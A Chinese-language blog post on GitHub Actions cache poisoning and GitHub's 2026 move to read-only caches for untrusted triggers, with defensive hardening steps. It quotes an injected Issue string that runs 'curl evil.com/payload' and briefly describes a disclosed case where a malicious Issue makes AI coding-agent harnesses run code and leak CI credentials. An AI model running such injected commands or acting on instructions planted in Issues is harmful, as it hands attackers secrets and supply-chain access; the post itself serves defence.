CI 缓存现在是攻击入口了——GitHub 把它默认锁成了只读
CI 缓存现在是攻击入口了——GitHub 把它默认锁成了只读
一个 pull_request_target,一个脚本注入,一次往缓存里写入恶意内容,下一个跑 schedule 任务的特权工作流把这份缓存一恢复,你的 API 密钥就连着攻击者的代码一起执行了。这不是理论攻击——GitHub 自己的安全团队把这个攻击路径堵了,2026 年中悄悄上线了一个默认安全策略,而这条策略背后的攻击链,比大多数人有过的最坏想象还要短。
攻击链的第三跳,你可能从没注意过
GitHub Actions 的缓存设计本来很单纯:一个仓库里所有跑在 default 分支上的工作流读写同一块缓存,目的是跨工作流复用依赖安装和构建产物。你 push 一行代码,schedule 里跑的 nightly release 任务直接读缓存,几十秒的 npm install 就省了。
这个共享机制在缓存被”投毒”的时候成了升级通道。
完整攻击路径是这样的:第一跳,一个 pull_request_target 触发的工作流里有脚本注入漏洞(攻击者在 Issue 里写 ; curl evil.com/payload #,工作流直接把这个字符串拼进 shell 执行),或者某个 AI coding agent 工作流处理了一条恶意 Issue(Novee Security 在 Black Hat 2026 披露的就是这一段),拿到了缓存的写权限,往里面写了一段恶意内容。第二跳,一个高权限工作流——比如 schedule 跑的 nightly publish、push 跑的 release 脚本——在 restore 缓存的时候把这份被污染的内容捞了回来。第三跳,攻击者代码拿着高权限 token 执行,可以读密钥、可以推 backdoor 到下游包,等于把一次”低权限工作流的脚本注入”升级成了”高权限身份的执行”。
Datadog Security Labs 2026 年中的调查数据说:38% 的组织有暴露在脚本注入或危险 trigger 错误配置下的工作流,三分之二至少有一个 critical 漏洞。更让人睡不着的是,71% 的组织还在用浮动版本标签(@v1 这种)而不是锁定 commit SHA——这意味着攻击者只要篡改一个版本标签,你的 pipeline 就会自动跑上攻击者的代码,而整个过程没有任何人工介入。
GitHub 悄悄改了默认值,现在 untrusted trigger 对缓存只有只读权限
2026 年中,GitHub Security Lab 宣布 Actions 缓存对 untrusted trigger(可以由无仓库写权限用户触发的事件)从读写变成了只读。push、schedule 这些由可信用户触发的事件保留完整读写能力;pull_request_target、pull_request_review、issues 等由外部用户触发的事件,对缓存只有只读权限。
这是最小权限原则(least privilege)第一次覆盖到缓存层。GitHub 安全团队的原文说:”This one directly addresses a class of attack that security researchers have been demonstrating for years, most notably Adnan Khan’s work on cache poisoning.”——缓存投毒攻击已经被演示了多年,现在终于有了一个平台级的默认防御。
这里有个技术细节值得单独说:高权限工作流在 restore 时拿到的缓存 token 权限,取决于触发它的事件,而不是它自己有没有写权限。如果一个 schedule 任务 restore 时发现缓存来自 pull_request_target 写的内容,现在它拿到的只有只读 token,写不进去了——攻击链的第三跳被平台层切断。
Secret scanning 进了 Actions 日志,凭证出现在日志里自动告警
8 月初 GitHub 还把 secret scanning 扩展到了 Actions workflow logs,现在处于公开预览状态。工作流运行时如果有任何凭证(token、API key、deploy key)出现在日志输出里,GitHub 会自动生成一条 secret scanning alert,标注哪个工作流、在哪一行、把什么东西漏了。
这条功能补的是一个长期盲区:代码库里有机密,GitHub 界面有告警,但 runner 日志里冒出来的那串密钥长期没人扫。CI/CD 日志是 DevOps 的黑箱,里面藏着什么一直不透明——secret scanning 进日志,终于给这个黑箱装了一盏灯。
缓存投毒和 Novee 披露的那条攻击链,不是同一件事
这里有一个容易混淆的地方:Novee Security 在 Black Hat 2026 披露的 Claude Code/Gemini CLI/Codex harness 漏洞(一个无权限 GitHub Issue 能在 CI runner 上执行代码并外泄凭证),走的是 agent harness 的信任边界问题——模型输出到 shell 命令之间那一层胶水代码的权限假设错误。这是另一个维度的风险,不依赖缓存投毒这个跳板。
但两个风险在同一个场景里交叉:如果 AI coding agent 工作流同时存在脚本注入漏洞和缓存读写权限,攻击者可以用 Issue 触发 agent 执行一次写缓存,再用 schedule 触发另一次高权限的 restore,完成最完整的攻击链。Novee 的研究证明了第一跳的可行性;GitHub 的缓存只读策略,是把第二跳和第三跳之间的连接断掉。
下一步怎么落地,三件事按优先级排
第一,现在立刻去 Actions 日志里搜你跑的那些 trigger——pull_request_target、pull_request_review、issues——确认它们有没有读写缓存的权限。如果有,降权到只读,或者改用 pull_request 触发(没有写权限,但可以读),把 pull_request_target 留给确实需要写权限的场景。
第二,把所有 action 引用从浮动版本(@v1、@v2)改成 commit SHA(@sha256:abc123…)。GitHub 自己的 2026 安全路线图里,9 月会推出 dependencies block 强制 SHA 锁定,但在那之前你自己先锁上。Datadog 的检测规则里,”actions not pinned to a commit SHA” 是最常见的严重 CI/CD 错误配置之一。
第三,把 secret scanning alert 订阅开起来,接 Slack 或者邮件,凭证出现在日志里立刻有人收到通知。大多数团队不知道日志里漏过密钥,是因为从来没人在那个位置看过。
GitHub Actions 的安全更新在 2026 年下半年密集发布——缓存只读、secret scanning 进日志、native egress firewall、Actions Data Stream,这几块拼起来已经把 CI/CD 的攻击面收得比之前紧多了。但工具链安全是一本永远结不完的账——每一层默认信任被重新审视,就意味着之前被认为”够用”的配置需要重新过一遍。缓存这一页翻过去了,下一页在哪,不知道,但肯定还有。
评论区
登录后可评论。